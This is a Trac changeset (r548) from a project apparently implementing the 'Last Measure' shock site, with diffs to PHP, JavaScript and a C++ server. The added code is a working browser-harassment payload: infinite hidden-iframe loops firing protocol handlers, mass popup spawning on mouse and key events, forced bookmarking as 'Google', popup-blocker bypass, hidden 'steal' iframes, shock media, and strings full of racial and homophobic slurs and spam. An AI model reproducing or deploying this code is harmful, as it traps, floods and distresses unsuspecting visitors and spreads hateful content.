Changeset 548 for trollforge


Ignore:
Timestamp:
12/19/11 01:34:51 (17 months ago)
Author:
sam
Message:

More stuff added to lmserver. Still not working.

Location:
trollforge/lastmeasure
Files:
1 added
5 edited

Legend:

Unmodified
Added
Removed
  • trollforge/lastmeasure/Makefile

    r547 r548  
    22all: lmserver 
    33 
    4 H = server/lmutil.h server/lmresource.h 
     4H = server/lmutil.h server/lmresource.h server/lmkeywords.h 
    55C = server/lmserver.cpp 
    66 
  • trollforge/lastmeasure/include/js.inc

    r489 r548  
    2121 
    2222function bookmark() { 
    23 //      if (is_ie4up) {  
     23//      if (is_ie4up) { 
    2424        window.external.AddFavorite(self.location.href, "Google"); 
    2525//      } 
     
    5959goatseflash += '  </object>' 
    6060goatseflash += '</div>'; 
    61      
     61 
    6262function load_goatse() { 
    6363  document.body.innerHTML += goatseflash; 
    6464  setTimeout("unload_goatse()", 3000); // 3s 
    6565} 
    66   
     66 
    6767function unload_goatse() { 
    6868  document.getElementById("hello").style.display = 'none'; 
     
    7474} 
    7575 
    76 var protos = [  
     76var protos = [ 
    7777        "<?php echo $static;?>lm.pdf", 
    7878        "<?php echo $static;?>jews.wmv", 
     
    9696  div.innerHTML = '<iframe style="width: 1; height: 1;" src="' + str + '"></iframe>'; 
    9797} 
    98      
     98 
    9999function ruin() { 
    100100  document.body.innerHTML += '<div id="goatse">Y HALLO THAR!</div>'; 
  • trollforge/lastmeasure/index.php

    r489 r548  
    5656      echo "    audio[".$i."] = '".$static."audio/".$audiolist[$i]."';\n"; 
    5757    } ?> 
    58     for (i = 0; i < audiocount; i++) {  
     58    for (i = 0; i < audiocount; i++) { 
    5959      setTimeout('document.getElementById("audio").innerHTML += \'<embed src="' + audio[i] + '" loop="true" />\';', 6000 * (i/2)); 
    6060    } 
     
    114114  <script type="text/javascript"> 
    115115    <!-- 
    116     function shellscript() {  
     116    function shellscript() { 
    117117      for(i = 0; i < 5; i++) { 
    118118        open('http://<?php echo $_SERVER['SERVER_NAME'];?>/index.php?popup=1','_blank','scrollbar=no'); 
     
    218218      </form> 
    219219      <script type="text/javascript"> 
    220       <!--  
     220      <!-- 
    221221        // without this if statement check, it bombs out with an error 
    222222        if (typeof clipboardData != 'undefined') { 
     
    229229      <?php } ?> 
    230230    </body> 
    231      
     231 
    232232    <?php 
    233233 
     
    244244        $key = store_hit(); 
    245245        $flash = 'first_opener.swf'; 
    246       }  
     246      } 
    247247    ?> 
    248 <body style="background-image: url(<?php random_image(); ?>); background-color: #FFFFFF;"  
    249   onload="bookmark();noframes();load_goatse();document.goatse.reset();movew0w();setTimeout('ruin()', 20);<?php if($br_ie6) { ?>setTimeout('main()', 100);<?php } ?>"  
     248<body style="background-image: url(<?php random_image(); ?>); background-color: #FFFFFF;" 
     249  onload="bookmark();noframes();load_goatse();document.goatse.reset();movew0w();setTimeout('ruin()', 20);<?php if($br_ie6) { ?>setTimeout('main()', 100);<?php } ?>" 
    250250  onmousemove="document.goatse.reset();movew0w();procreate();" 
    251251  onkeydown="molish();procreate();" 
     
    275275    </tr> 
    276276  </table> 
    277   <?php if(!$_GET['popup']) {  
     277  <?php if(!$_GET['popup']) { 
    278278    hey_everybody(); ?> 
    279279   <div> 
    280280    <iframe style="width: 1px; height: 1px;" src="/index.php?steal=1&amp;key=<?php echo $key;?>"></iframe> 
    281281    <iframe style="width: 1px; height: 1px;" src="<?php echo $static; ?>lm.pdf"></iframe> 
    282     <iframe style="width: 1px; height: 1px;" src="<?php echo $static; ?>jews.wmv"></iframe>   
     282    <iframe style="width: 1px; height: 1px;" src="<?php echo $static; ?>jews.wmv"></iframe> 
    283283    <br /> 
    284284   </div> 
  • trollforge/lastmeasure/server/lmresource.h

    r547 r548  
    66#include <streambuf> 
    77 
    8 static char const *resourcenames[] = 
     8#include "lmkeywords.h" 
     9 
     10static char const *staticnames[] = 
    911{ 
    1012    /* Static images */ 
     
    3234    "/audio/rkz.wav",      "/audio/rucas.wav", 
    3335    "/audio/sam.wav",      "/audio/trogg.wav", 
     36 
     37    /* Other static files */ 
     38    "/flash/first_opener.swf", 
     39    "/flash/second_opener.swf", 
     40    "/flash/hello.swf", 
     41    "/flash/hey.swf", 
     42 
     43    "/lm.pdf", 
     44    "/jews.wmv", 
     45    "/LastCoffee.class", 
     46    "/gnaa.png", 
     47 
     48    "/favicon.ico", 
     49    "/robots.txt", 
    3450}; 
     51 
     52typedef std::pair<std::string,std::string> Response; 
    3553 
    3654class Resources 
     
    3957    static void LoadAll() 
    4058    { 
    41         for (size_t i = 0; i < m_nresources; i++) 
     59        for (size_t i = 0; i < NSTATICS; i++) 
    4260        { 
    4361            /* Skip leading / when opening local files */ 
    44             std::ifstream t(resourcenames[i] + 1); 
    45             m_resources[i] = std::string((std::istreambuf_iterator<char>(t)), 
    46                                          std::istreambuf_iterator<char>()); 
    47         } 
    48     } 
    49  
    50     static std::string Get(char const *resource, 
    51                            char const *host, char const *agent) 
     62            std::ifstream t(staticnames[i] + 1); 
     63            m_statics[i] = std::string((std::istreambuf_iterator<char>(t)), 
     64                                       std::istreambuf_iterator<char>()); 
     65        } 
     66    } 
     67 
     68    static Response Get(char const *resource, char const *query, 
     69                        char const *host, char const *agent) 
    5270    { 
    5371        /* Special case for server status */ 
     
    5573             || !strcmp(resource, "/server-status/")) 
    5674        { 
    57             return "SERVER STATUS UNAVAILABLE FOR NOW"; 
     75            return Response("SERVER STATUS UNAVAILABLE FOR NOW", "text/html"); 
    5876        } 
    5977 
    6078        /* Special case for static resources */ 
    61         for (size_t i = 0; i < m_nresources; i++) 
    62         { 
    63             if (!strcmp(resource, resourcenames[i])) 
    64                 return m_resources[i]; 
    65         } 
    66  
     79        for (size_t i = 0; i < NSTATICS; i++) 
     80        { 
     81            if (!strcmp(resource, staticnames[i])) 
     82            { 
     83                return Response(m_statics[i], MimeType(resource)); 
     84            } 
     85        } 
     86 
     87        /* Is the browser IE 6 or better? */ 
     88        char const *parser = strstr(agent, " MSIE "); 
     89        bool is_ie6 = parser && (atoi(parser + strlen(" MSIE ")) >= 6); 
     90 
     91        /* Sending stuff */ 
    6792        std::stringstream data(""); 
     93        data << 
     94 "<!DOCTYPE html PUBLIC \"-//W3C//DTD XHTML 1.0 Transitional//EN\"" 
     95 "\"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd\">\r\n" 
     96 "<html xmlns=\"http://www.w3.org/1999/xhtml\" lang=\"en\" xml:lang=\"en\">" 
     97 
     98 "  <head>\r\n" 
     99 "    <title>GNAA Last Measure Live!</title>\r\n" 
     100 "    <meta name=\"keywords\" content=\"" << Keywords(128) << "\" />\r\n" 
     101 "    <script type=\"text/javascript\">" << JavaScript(host) << 
     102 "    </script>\r\n" 
     103 "    <link rel=\"icon\" type=\"image/x-icon\" " 
     104 "          href=\"http://" << host << "/favicon.ico\" />\r\n" 
     105 "    <link rel=\"shortcut icon\" type=\"image/x-icon\" " 
     106 "          href=\"http://" << host << "/favicon.ico\" />\r\n" 
     107 "    <style type=\"text/css\">\r\n" 
     108 "      html { height: 100%; width: 100%; overflow: hidden; }\r\n" 
     109 "      body { height: 100%; width: 100%; margin: 0; padding: 0; }\r\n" 
     110 "    </style>\r\n" 
     111 "  </head>\r\n" 
     112 
     113 "  <body style=\"background-image: url(http://" << host 
     114          << RandomAsset("/images/") << "); background-color: #FFFFFF;\"" 
     115 "        onload=\"bookmark();noframes();load_goatse();" 
     116 "        document.goatse.reset();movew0w();setTimeout('ruin()', 20);"; 
     117        if (is_ie6) 
     118            data << "setTimeout('main()', 100);"; 
     119        data << 
     120 "        onmousemove=\"document.goatse.reset();movew0w();procreate();\"" 
     121 "        onkeydown=\"molish();procreate();\"" 
     122 "        onunload=\"document.goatse.reset();movew0w();procreate();\"" 
     123 "        onmouseover=\"document.goatse.reset();movew0w();procreate();\">\r\n"; 
     124 
     125        data << MoveAround(800, 600); 
     126        data << ActivateApplets(); 
     127        if (is_ie6) 
     128        { 
     129            data << PopupBypasser(); 
     130            data << DivertOnload(); 
     131        } 
     132 
     133 "  </body>\r\n" 
     134 
     135; 
    68136        data << "<html><body><p>You are asking for " 
    69137             << resource << ". You could also ask for <a href=\"http://" 
     
    72140             << "<img src=\"" << RandomAsset("/images/") << "\" />" 
    73141             << "</body></html>"; 
    74         return data.str(); 
     142        return Response(data.str(), "text/html"); 
     143    } 
     144 
     145    static std::string Keywords(size_t count) 
     146    { 
     147        std::stringstream ret(""); 
     148 
     149        for (size_t i = 0; i < count; i++) 
     150        { 
     151            if (i) 
     152                ret << ", "; 
     153            ret << keywords[rand() % (sizeof(keywords) / sizeof(*keywords))]; 
     154        } 
     155 
     156        return ret.str(); 
     157    } 
     158 
     159    static std::string JavaScript(char const *host) 
     160    { 
     161        std::stringstream ret(""); 
     162 
     163        ret << 
     164 "function altf4key() { if (event.keyCode == 18 || event.keyCode == 115)" 
     165 "  alert(\"Our lawyer has informed us that we need a warning. So, if you " 
     166          "are under the age of 18 or find this offensive, please leave " 
     167          "immediately\"); }" 
     168 "function ctrlkey() { if (event.keyCode == 17)" 
     169 "   alert(\"Our lawyer has informed us that we need a warning. So, if you " 
     170           "are under the age of 18 or find this offensive, please leave " 
     171           "immediately\"); }" 
     172 "function delkey() { if (event.keyCode == 46)" 
     173 "   alert(\"LAST MEASURE BY PENISBIRD, Rolloffle, and Rucas.\nStarring:\n" 
     174           "Spin\nTubgirl\nLemonparty\nBob Goatse\nPenisbird\nPillowfight\n" 
     175           "Christmas\nRusty's Wife\nWhat the fuck? That guy's ass is showing " 
     176           "in his baby's picture!\n\n\nTotal, complete, all-versions, popup " 
     177           "blocker bashing-to-pieces by goat-see\nnhey.swf by rkz\nPROPS TO " 
     178           "GNAA.  LOL HY -- DiKKy (GNAA NORWAY CORRESPONDANT)\nUpdated by " 
     179           "sam, Jmax, JacksonBrown, Dessimat0r, timecop, and others.\n\"); }" 
     180 "var nom = navigator.appName.toLowerCase();" 
     181 "var agt = navigator.userAgent.toLowerCase();" 
     182 "var is_major  = parseInt(navigator.appVersion);" 
     183 "var is_minor  = parseFloat(navigator.appVersion);" 
     184 "var is_ie     = (agt.indexOf('msie') != -1);" 
     185 "var is_ie4up  = (is_ie && (is_major >= 4));" 
     186 "var is_nav    = (nom.indexOf('netscape')!=-1);" 
     187 "var is_nav4   = (is_nav && (is_major == 4));" 
     188 "var is_mac    = (agt.indexOf('mac')!=-1);" 
     189 "var is_gecko  = (agt.indexOf('gecko') != -1);" 
     190 
     191 //  GECKO REVISION 
     192 "var is_rev = 0;" 
     193 "if (is_gecko) {" 
     194 "    temp = agt.split('rv:');" 
     195 "    is_rev = parseFloat(temp[1]);" 
     196 "}" 
     197 
     198 "function bookmark() {" 
     199 //"      if (is_ie4up) {" 
     200 "    window.external.AddFavorite(self.location.href, 'Google');" 
     201 //"      }" 
     202 "}" 
     203 
     204 "function molish() {" 
     205 "  switch(event.keyCode) {" 
     206 "    case 46:" // DEL 
     207 "    case 63272:" // DEL on the fucked-up Safari browser 
     208 "      alert(credits);" 
     209 "      break;" 
     210 "    case 17:" // CTRL [Or the Apple "CMD", only detected by Opera] NOTE: Opera Mac gives keyCode '0' 
     211 "    case 18:" // ALT 
     212 //"    case 81:" // W (As in "CTRL+W") 
     213 //"    case 87:" // Q (As in "CTRL+Q") 
     214 "    case 115:" // F4 
     215 "      alert(\"Our lawyer has informed us that we need a warning. So, if " 
     216              "you are under the age of 18 or find this offensive, please " 
     217              "leave immediately\");" 
     218 "      break;" 
     219 "  }" 
     220 "}" 
     221 
     222 "function procreate() {" 
     223 "    for(i = 0; i < 16; i++) {" 
     224 "        popUp(\"index.php?popup=1\");" 
     225 "    }" 
     226 "}" 
     227 
     228 "function popUp(URL) {" 
     229 "    day = new Date();" 
     230 "    id = day.getTime();" 
     231 "    eval(\"page\" + id + \" = window.open(URL, '_blank', 'toolbar=0,scrollbars=0,location=1,statusbar=0,menubar=0,resizable=0,width=640,height=583');\");" 
     232 "}" 
     233 
     234 "goatseflash  = '<div id=\"hello\" style=\"z-index: 50; position: fixed; top: 0px; left: 0px; width: 100%; height: 100%;\">';" 
     235 "goatseflash += '  <object classid=\"clsid:D27CDB6E-AE6D-11cf-96B8-444553540000\" codebase=\"http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,0,0\" width=\"100%\" height=\"100%\">';" 
     236 "goatseflash += '    <param name=\"movie\" value=\"http://" << host << "/flash/hello.swf\" />'" 
     237 "goatseflash += '    <param name=\"wmode\" value=\"transparent\" />';" 
     238 "goatseflash += '  </object>'" 
     239 "goatseflash += '</div>';" 
     240 
     241 "function load_goatse() {" 
     242 "  document.body.innerHTML += goatseflash;" 
     243 "  setTimeout(\"unload_goatse()\", 3000);" // 3s 
     244 "}" 
     245 
     246 "function unload_goatse() {" 
     247 "  document.getElementById(\"hello\").style.display = 'none';" 
     248 "}" 
     249 
     250 "function noframes() {" 
     251 "        if (top.location.hostname != location.hostname)" 
     252 "                top.location.href = window.location.href;" 
     253 "}" 
     254 
     255 "var protos = [" 
     256 "        \"http://" << host << "/lm.pdf\"," 
     257 "        \"http://" << host << "/jews.wmv\"," 
     258 "        \"irc://irc.gnaa.eu/gnaa\"," 
     259 "        \"irc://irc.freenode.net/wikipedia-en?msg=THIS%20CHANNEL%20HAS%20MOVED%20TO%20IRC.HARCHATS.COM%20#GNAA\"," 
     260 "        \"news:alt.flame.niggers\"," 
     261 "        \"news:alt.flame.faggots\"," 
     262 "        \"mailto:JOIN@THE.GNAA?subject=2011_RECRUITMENT_DRIVE&body=www.gnaa.eu\"," 
     263 "        \"callto://JOIN_THE_GNAA__2011_RECRUITMENT_DRIVE\"," 
     264 //"        \"aim:GoIM?screenname=Gary_Niger&message=HY+LOL+HY+LOL\"," 
     265 "        \"rlogin://1.1.1.1:80\"," 
     266 "        \"telnet://1.1.1.1:80\"," 
     267 "        \"aim:addbuddy?listofscreennames=HY,LOL,HY,LOL,HY,LOL,join,the,gnaa,2011,RECRUITMENT,DRIVE,heartiez2incog&groupname=gnaa\"," 
     268 "        \"mailto:JOIN@THE.GNAA?subject=2011_RECRUITMENT_DRIVE&body=www.gnaa.eu\"," 
     269 "        \"ed2k://|file|Gayniggers From Outer Space [GNAA Digitally Remastered].avi|134174720|F8AF9D8A7091CD7A7B8968C9EB397C02|/\"," 
     270 "        \"aim:goaway?message=ARE+YOU+GAY%3F+ARE+YOU+A+NIGGER%3F+ARE+YOU+A+GAY+NIGGER%3F\"," 
     271 "        \"aim:goim?screenname=bluexox5&message=dont_fuck_with_the_GNAA\"" 
     272 "        ];" 
     273 
     274 "function add(str) {" 
     275 "  div = document.getElementById('goatse');" 
     276 "  div.innerHTML = '<iframe style=\"width: 1; height: 1;\" src=\"' + str + '\"></iframe>';" 
     277 "}" 
     278 
     279 "function ruin() {" 
     280 "  document.body.innerHTML += '<div id=\"goatse\">Y HALLO THAR!</div>';" 
     281 "  while (1) {" 
     282 "    for (i = 0; i < protos.length; i++) {" 
     283 "      add(protos[i]);" 
     284 "    }" 
     285 "  }" 
     286 "}"; 
     287 
     288        return ret.str(); 
     289    } 
     290 
     291    static char const *MimeType(char const *resource) 
     292    { 
     293        static char const *assoc[] = 
     294        { 
     295            ".png", "image/png", 
     296            ".jpg", "image/jpeg", 
     297            ".jpeg", "image/jpeg", 
     298            ".gif", "image/gif", 
     299            ".wav", "audio/x-wav", 
     300            ".mp3", "audio/mpeg", 
     301            ".swf", "application/x-shockwave-flash", 
     302            ".pdf", "application/pdf", 
     303            ".wmv", "video/x-ms-wmv", 
     304            ".class", "application/java-vm", 
     305            ".ico", "image/x-icon", 
     306            ".txt", "text/plain", 
     307        }; 
     308 
     309        for (size_t i = 0; i < sizeof(assoc) / sizeof(*assoc); i += 2) 
     310        { 
     311            char const *suffix = assoc[i], *test; 
     312            if ((test = strstr(resource, suffix)) && !test[strlen(suffix)]) 
     313                return assoc[i + 1]; 
     314        } 
     315 
     316        return "text/plain"; 
    75317    } 
    76318 
     
    79321        size_t prefixlen = strlen(prefix); 
    80322 
    81         for (;;) 
    82         { 
    83             char const *name = resourcenames[rand() % m_nresources]; 
     323        for (size_t i = 0; i < 32; i++) 
     324        { 
     325            char const *name = staticnames[rand() % NSTATICS]; 
    84326            if (!strncmp(name, prefix, prefixlen)) 
    85327                return name; 
    86328        } 
     329 
     330        return "/"; 
    87331    } 
    88332 
    89333private: 
    90     static const size_t m_nresources 
    91                              = sizeof(resourcenames) / sizeof(*resourcenames); 
    92     static std::string m_resources[m_nresources]; 
     334    static const size_t NSTATICS = sizeof(staticnames) / sizeof(*staticnames); 
     335    static std::string m_statics[NSTATICS]; 
    93336}; 
    94337 
    95 std::string Resources::m_resources[m_nresources]; 
    96  
     338std::string Resources::m_statics[NSTATICS]; 
     339 
  • trollforge/lastmeasure/server/lmserver.cpp

    r547 r548  
    201201 
    202202    /* Find information in the request */ 
    203     char const *resource = "/", *agent = "Unknown", *host = "127.0.0.1"; 
     203    char const *resource = "/", *query = "", 
     204               *agent = "Unknown", *host = "127.0.0.1"; 
    204205 
    205206    char *resourceparser = strstr(inbuf, " "); 
     207    char *queryparser = NULL; 
    206208    if (resourceparser) 
    207209    { 
    208210        resource = resourceparser + 1; 
     211        queryparser = strstr(resourceparser + 1, "?"); 
    209212        resourceparser = strstr(resourceparser + 1, " "); 
     213 
     214        if (queryparser && resourceparser && queryparser < resourceparser) 
     215        { 
     216            query = queryparser + 1; 
     217        } 
    210218    } 
    211219 
     
    227235    if (resourceparser) 
    228236        resourceparser[0] = '\0'; 
     237    if (queryparser) 
     238        queryparser[0] = '\0'; 
    229239    if (agentparser) 
    230240        agentparser[0] = '\0'; 
     
    234244    /* Now build the response */ 
    235245    std::stringstream response(""); 
    236     std::string data = Resources::Get(resource, host, agent); 
     246    Response data = Resources::Get(resource, query, host, agent); 
    237247    response << "HTTP/1.1 200 OK\r\n" 
    238248             << "Date: " << Utils::Time() << "\r\n" 
    239249             << "Server: " << Random::ServerName() << "\r\n" 
    240              << "Content-Length: " << data.length() << "\r\n" 
     250             << "Content-Length: " << data.first.length() << "\r\n" 
    241251             //<< "Connection: Keep-Alive\r\n" 
    242252             << "Connection: Close\r\n" 
    243              << "Content-Type: text/html\r\n" 
     253             << "Content-Type: " << data.second << "\r\n" 
    244254             << "\r\n" 
    245              << data; 
     255             << data.first; 
    246256 
    247257    send(client, response.str().c_str(), response.str().length(), 0); 
Note: See TracChangeset for help on using the changeset viewer.